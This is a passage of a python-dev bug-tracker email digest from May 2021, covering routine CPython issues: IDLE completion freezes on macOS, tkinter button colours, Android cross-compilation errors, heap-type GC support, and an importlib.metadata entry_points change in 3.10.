In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622106742.03.0.931731972246.issue44243@roundup.psfhosted.org> Tal Einat added the comment: I've created an issue about this on the Tcl/Tk issue tracker: https://core.tcl-lang.org/tk/tktview/46274a117823fd65c6d98d38465b43165d0c4680 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 05:13:32 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 09:13:32 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622106812.69.0.845775191608.issue41611@roundup.psfhosted.org> Tal Einat added the comment: > With 3.10.0b1 on Mac I am getting attribute completion freezes. I had to turn them off. I am tempted to disable completions until there is a Mac IDLE developer to dig into issues like this. Confirmed. This may be a separate issue. I have a macOS machine to develop with an will look into this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 05:23:08 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 27 May 2021 09:23:08 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622107388.89.0.519290167474.issue37596@roundup.psfhosted.org> Filipe La?ns added the comment: I understand, the proposal would be to make frozensets keep the creation order. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 05:41:34 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 27 May 2021 09:41:34 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1622108494.63.0.697433692019.issue38768@roundup.psfhosted.org> Shreyan Avigyan added the comment: Would be great. LLDB is also supported on Windows (by Visual Studio) unlike gdb. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 05:52:58 2021 From: report at bugs.python.org (E. Paine) Date: Thu, 27 May 2021 09:52:58 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622109178.36.0.0626655584636.issue44243@roundup.psfhosted.org> E. Paine added the comment: Does the activebackground option fix this? E.g. r = tk.Tk() b = tk.Button(r, fg="white", bg="red", activebackground="red") b.pack() r.mainloop() ---------- nosy: +epaine _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:02:07 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:02:07 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622109727.39.0.374801058024.issue41611@roundup.psfhosted.org> Tal Einat added the comment: I can reproduce this consistently on macOS by running IDLE, typing "sys.ba" in the shell and pressing the tab key. I've carefully narrowed this down to the call to acw.update() in AutoCompleteWindows.winconfig_event(). Removing that call makes everything work properly. That call to acw.update() was added to address the bug reported in bpo-37849 (see PR GH-15267). That bug was reported on Windows, but apparently doesn't occur on macOS. A quick test on Ubuntu 20.04 with that call removed also appears to not exhibit that bug. Therefore, I propose making that call only on Windows. Note that there is already another fragile call in the same method that is conditionally called only on Windows, so there is definitely precedent for such a solution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:02:37 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:02:37 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622109757.42.0.992033942995.issue41611@roundup.psfhosted.org> Change by Tal Einat : ---------- stage: -> needs patch type: -> behavior versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:08:55 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:08:55 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622110135.12.0.85503009484.issue41611@roundup.psfhosted.org> Tal Einat added the comment: I've confirmed that the acw.update() call is still required on Windows to avoid the completion list positioning bug, and that IDLE doesn't freeze as described in this issue on Windows with that call in place. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:13:15 2021 From: report at bugs.python.org (Alexei S) Date: Thu, 27 May 2021 10:13:15 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1622110395.96.0.421120219587.issue44031@roundup.psfhosted.org> Alexei S added the comment: the problem is caused by language?? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:15:20 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:15:20 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622110520.44.0.429365389116.issue41611@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: +patch pull_requests: +24993 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26400 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:16:04 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:16:04 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622110564.58.0.490419103171.issue41611@roundup.psfhosted.org> Tal Einat added the comment: See PR GH-26400. ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:17:39 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:17:39 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622110659.53.0.351465300322.issue41611@roundup.psfhosted.org> Tal Einat added the comment: To clarify, the above is regarding IDLE freezing on macOS after hitting tab to complete, with no completions window open, and with multiple completions possible. That may not be identical to the issue originally reported here. Apologies if I've caused some confusion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:19:02 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 10:19:02 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622110742.52.0.80822909155.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: Hm, I'm unable to reproduce it w/addr sanitiser on macOS (FWIW). $ ./python.exe -m test test_ssl -F -u all -m test_pha_required_nocert Passing 1000 successful runs now. I'll see if I can get a Win dev env set up later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:21:24 2021 From: report at bugs.python.org (Alexei S) Date: Thu, 27 May 2021 10:21:24 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1622110884.63.0.241814349605.issue44031@roundup.psfhosted.org> Alexei S added the comment: yes! the problem was in folder caption! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:22:43 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 10:22:43 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622110963.2.0.349779560745.issue44243@roundup.psfhosted.org> Tal Einat added the comment: Thanks for helping with this, E. Paine! Unfortunately, no, adding activebackground='red' doesn't help, even directly in a wish shell. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:31:38 2021 From: report at bugs.python.org (Alexei S) Date: Thu, 27 May 2021 10:31:38 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1622111498.37.0.84125306191.issue44031@roundup.psfhosted.org> Alexei S added the comment: how we can fix this small problem in next releases of test_embed test_tabnanny? other tests didn't fail ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 06:55:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 10:55:58 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622112958.77.0.994282295849.issue43988@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 8cec740820fc875117bfa7b6bdb10202ebeb8fd5 by Erlend Egeberg Aasland in branch 'main': bpo-43988: Document test.support.check_disallow_instantiation() (GH-26394) https://github.com/python/cpython/commit/8cec740820fc875117bfa7b6bdb10202ebeb8fd5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 07:12:19 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 11:12:19 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622113939.35.0.442632225647.issue43988@roundup.psfhosted.org> Erlend E. Aasland added the comment: I believe we can close this now, Victor. Please reopen if you disagree :) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 07:51:42 2021 From: report at bugs.python.org (Ladislav Heller) Date: Thu, 27 May 2021 11:51:42 +0000 Subject: [issue44245] Cross-compilation of CPython 3.8 with _socket module using Anddroid NDK fails Message-ID: <1622116302.56.0.159914345765.issue44245@roundup.psfhosted.org> New submission from Ladislav Heller : Trying to cross-compile CPython 3.8 using Android NDK toolchain with _socket module enabled. Build fails at: ../Modules/socketmodule.c:6739:5: error: invalid use of undefined type 'struct if_nameindex' for (i = 0; ni[i].if_index != 0 && i < INT_MAX; i++) { ^ ../Modules/socketmodule.c:6739:19: error: dereferencing pointer to incomplete type for (i = 0; ni[i].if_index != 0 && i < INT_MAX; i++) { ^ ../Modules/socketmodule.c:6753:17: error: invalid use of undefined type 'struct if_nameindex' ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name); ^ ../Modules/socketmodule.c:6753:19: error: dereferencing pointer to incomplete type ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name); ^ ../Modules/socketmodule.c:6753:17: error: invalid use of undefined type 'struct if_nameindex' ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name); ^ ../Modules/socketmodule.c:6753:62: error: dereferencing pointer to incomplete type ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name); ^ Without _socket module, the cross-compilation works well. Also the result python3 build transferred to my Android device and tested in Terminal app works well. However without _socket module for example the command: "python3 -m ensurepip" obviously fails because of missing _socket module. ---------- components: Cross-Build messages: 394539 nosy: Alex.Willmer, laheller priority: normal severity: normal status: open title: Cross-compilation of CPython 3.8 with _socket module using Anddroid NDK fails type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 09:51:05 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 13:51:05 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1622123465.59.0.746385302339.issue38908@roundup.psfhosted.org> miss-islington added the comment: New changeset 09696a3e218404e77f8c1fbf187ca29a4a357a9d by Miss Islington (bot) in branch '3.10': [3.10] bpo-38908: [docs] Add changes to 3.10 whatsnew and fix some minor inaccuracies in news (GH-26096) (GH-26337) https://github.com/python/cpython/commit/09696a3e218404e77f8c1fbf187ca29a4a357a9d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 09:56:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 13:56:19 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622123779.68.0.981984227657.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: So it seems like the weakref list (__weaklistoffset__) doesn't have to be handled by visit, clear or free functions, it only has to be deallocated with PyObject_ClearWeakRefs() in the dealloc function. I noticed that when reviewing partial_clear(partialobject *pto) in PR 26363. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:04:00 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 14:04:00 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622124240.24.0.779780940755.issue43654@roundup.psfhosted.org> Tal Einat added the comment: The original issue appears to be caused by <> also being bound to Tab, but <> only being bound using event_add() once in EditorWindow.__init__(). Therefore, RemoveKeybindings() does remove the binding for tab due to <>, but <> is not bound again by ApplyKeybindings(). That should mean that tab is still bound to <> and <>, as expected, but the order has changed: now <> was the last event added. We need <> to fire first. Specifically, commenting out the line for <> from config.py causes this bug to no longer happen. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:30:07 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 14:30:07 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622125807.52.0.177382094112.issue41611@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24994 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26401 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:30:05 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 14:30:05 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622125805.65.0.0121321898684.issue41611@roundup.psfhosted.org> Tal Einat added the comment: New changeset abc4bd5db91c86b6b74289241378a13bd3a0a5e2 by Tal Einat in branch 'main': bpo-41611: IDLE: fix freezing on completion on macOS (GH-26400) https://github.com/python/cpython/commit/abc4bd5db91c86b6b74289241378a13bd3a0a5e2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:30:14 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 14:30:14 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622125814.07.0.533649073914.issue41611@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24995 pull_request: https://github.com/python/cpython/pull/26402 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:53:58 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 14:53:58 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622127238.71.0.346664863336.issue41611@roundup.psfhosted.org> miss-islington added the comment: New changeset 5e6219b8fa14bc36d1a98dc03b4e01756829fffa by Miss Islington (bot) in branch '3.10': bpo-41611: IDLE: fix freezing on completion on macOS (GH-26400) https://github.com/python/cpython/commit/5e6219b8fa14bc36d1a98dc03b4e01756829fffa ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 10:59:46 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 14:59:46 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622127586.59.0.0743928480176.issue43654@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: +patch pull_requests: +24996 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/26403 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:05:28 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 15:05:28 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622127928.44.0.583840379295.issue43654@roundup.psfhosted.org> Tal Einat added the comment: Indeed, adding the events bound in EditorWindow.__init__ to RemoveKeybindings() and ApplyKeybindings(), so they are bound in the correct order, resolves this issue. See PR GH-26403. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:05:51 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 15:05:51 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622127951.98.0.860025705243.issue43654@roundup.psfhosted.org> Change by Tal Einat : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:08:10 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 15:08:10 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622128090.21.0.832650208563.issue41611@roundup.psfhosted.org> miss-islington added the comment: New changeset 65fb9a2701df276852720618bdc2a4bf6adbf810 by Miss Islington (bot) in branch '3.9': bpo-41611: IDLE: fix freezing on completion on macOS (GH-26400) https://github.com/python/cpython/commit/65fb9a2701df276852720618bdc2a4bf6adbf810 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:26:22 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 15:26:22 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622129182.89.0.0773414626521.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset 0bf0500baa4cbdd6c5668461c2a2a008121772be by Miss Islington (bot) in branch '3.10': bpo-42972: Fully support GC for pyexpat, unicodedata, and dbm/gdbm heap types (GH-26376) https://github.com/python/cpython/commit/0bf0500baa4cbdd6c5668461c2a2a008121772be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:29:45 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 15:29:45 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622129385.71.0.77484404534.issue41611@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +24997 pull_request: https://github.com/python/cpython/pull/26404 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:30:11 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 27 May 2021 15:30:11 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points Message-ID: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> New submission from Anthony Sottile : this is breaking code that's unfortunately out of my control (vendor) -- also it looks really wrong ```python import importlib.metadata print('looks like a list:') print(importlib.metadata.distribution('pip').entry_points) print('first item:') print(importlib.metadata.distribution('pip').entry_points[0]) ``` output in 3.9: ```console $ ./venv39/bin/python t.py looks like a list: [EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts')] first item: EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts') ``` ```console $ venv310/bin/python t.py looks like a list: (EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts')) first item: Traceback (most recent call last): File "/usr/lib/python3.10/importlib/metadata/__init__.py", line 217, in __getitem__ return next(iter(self.select(name=name))) StopIteration During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/tmp/y/t.py", line 5, in print(importlib.metadata.distribution('pip').entry_points[0]) File "/usr/lib/python3.10/importlib/metadata/__init__.py", line 219, in __getitem__ raise KeyError(name) KeyError: 0 ``` ---------- messages: 394548 nosy: Anthony Sottile priority: normal severity: normal status: open title: 3.10 beta 1: breaking change in importlib.metadata entry points versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:33:15 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 27 May 2021 15:33:15 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622129595.49.0.8014020143.issue44246@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:34:21 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 27 May 2021 15:34:21 +0000 Subject: [issue44247] bpo stacktrace linkifier does not understand 3.10+ Message-ID: <1622129661.52.0.431700912505.issue44247@roundup.psfhosted.org> New submission from Anthony Sottile : for instance in this issue: https://bugs.python.org/issue44246 it links to 3.1/... instead of 3.10/... ---------- messages: 394549 nosy: Anthony Sottile priority: normal severity: normal status: open title: bpo stacktrace linkifier does not understand 3.10+ _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:37:29 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 27 May 2021 15:37:29 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622129849.0.0.178080240549.issue44246@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: Seems this was reported in https://github.com/python/importlib_metadata/issues/300 . Closed in https://github.com/python/importlib_metadata/commit/5ca9bc7dcf73d72260486afb28dadf5e532cf657. ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:40:07 2021 From: report at bugs.python.org (Jakub Kulik) Date: Thu, 27 May 2021 15:40:07 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622130007.73.0.613521036525.issue43667@roundup.psfhosted.org> Change by Jakub Kulik : ---------- pull_requests: +24998 pull_request: https://github.com/python/cpython/pull/26405 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:41:32 2021 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 May 2021 15:41:32 +0000 Subject: [issue44247] bpo stacktrace linkifier does not understand 3.10+ In-Reply-To: <1622129661.52.0.431700912505.issue44247@roundup.psfhosted.org> Message-ID: <1622130092.79.0.494602754217.issue44247@roundup.psfhosted.org> Zachary Ware added the comment: Could you open this at https://github.com/python/bugs.python.org please? ---------- nosy: +zach.ware resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:48:13 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 15:48:13 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622130493.72.0.063069080081.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: This backward incompatibility was unintentionally introduced in importlib_metadata 3.6 (https://importlib-metadata.readthedocs.io/en/latest/history.html#v3-6-0, released Feb 23) and was previously reported in https://github.com/python/importlib_metadata/issues/300. While technically it's a breaking change, here's my analysis from that issue: > Basically what it boils down to is that access by index of a `Distribution.entry_points` was dropped, but that appears not to be a problem. At least, this is the first report of such a problem. The assumption has been, and the tests bear this out implicitly, that the consumer of `Distribution.entry_points` will be iterated over and not accessed by index. My assessment is that the issue is theoretically incompatible but in practice, this usage is not found in the wild. If there was a substantial need to maintain compatibility for this use-case, I'd definitely consider adding such compatibility. As it stands, however, I'm unaware of even a single use case that demands this interface. Given the non-issue this has been for importlib_metadata, I expect it to be a non-issue for Python 3.10 as well. ---------- nosy: -xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:49:15 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 27 May 2021 15:49:15 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622130555.74.0.373878047726.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: the "what's new" mentions nothing of this break, nor the aggressive deprecation warnings, nor the various shifted interfaces (such as this one): https://docs.python.org/3.10/whatsnew/3.10.html#importlib-metadata ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:50:22 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 15:50:22 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622130622.0.0.856279832108.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24999 pull_request: https://github.com/python/cpython/pull/26406 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:50:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 15:50:21 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622130621.17.0.229991848999.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 4d7f8f9f7fb09ea8eb4e43409a16a91b0bf18571 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully support GC protocol for _queue.SimpleQueue (GH-26372) https://github.com/python/cpython/commit/4d7f8f9f7fb09ea8eb4e43409a16a91b0bf18571 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:54:08 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 15:54:08 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622130848.46.0.852787422523.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25000 pull_request: https://github.com/python/cpython/pull/26407 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:54:07 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 15:54:07 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622130847.24.0.421784120672.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 318adeba780851c416505e48a3454cacca831419 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully support GC for mmap heap types (GH-26373) https://github.com/python/cpython/commit/318adeba780851c416505e48a3454cacca831419 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:54:43 2021 From: report at bugs.python.org (Eric Snow) Date: Thu, 27 May 2021 15:54:43 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1622130883.14.0.402955289091.issue43693@roundup.psfhosted.org> Eric Snow added the comment: New changeset 9f494d492944c3a6a7a7471b4ad3a025dc7de289 by Eric Snow in branch 'main': bpo-43693: Add _PyCode_New(). (gh-26375) https://github.com/python/cpython/commit/9f494d492944c3a6a7a7471b4ad3a025dc7de289 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:54:56 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 15:54:56 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622130896.9.0.682343393116.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: Yes, perhaps the What's New could be refreshed. There is a Compatibility Note in the docs for `entry_points` about the deprecated usage (https://docs.python.org/3.10/library/importlib.metadata.html?highlight=importlib%20metadata#entry-points). I want the What's New to be only those aspects that are particularly salient to the users, so I probably would not even mention the compatibility change reported above unless I expected it to affect users, but I wouldn't be opposed to more thorough messaging if you believe that would address the concern. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 11:56:04 2021 From: report at bugs.python.org (Donald O'Donnell) Date: Thu, 27 May 2021 15:56:04 +0000 Subject: [issue44248] copy.deepcopy calls objdect's __deepcopy__ with incorrect argument Message-ID: <1622130964.15.0.739693664196.issue44248@roundup.psfhosted.org> New submission from Donald O'Donnell : In copy.py of Std Lib, line 153 is now: y = copier(memo) Should be: y = copier(x) The present version copies the 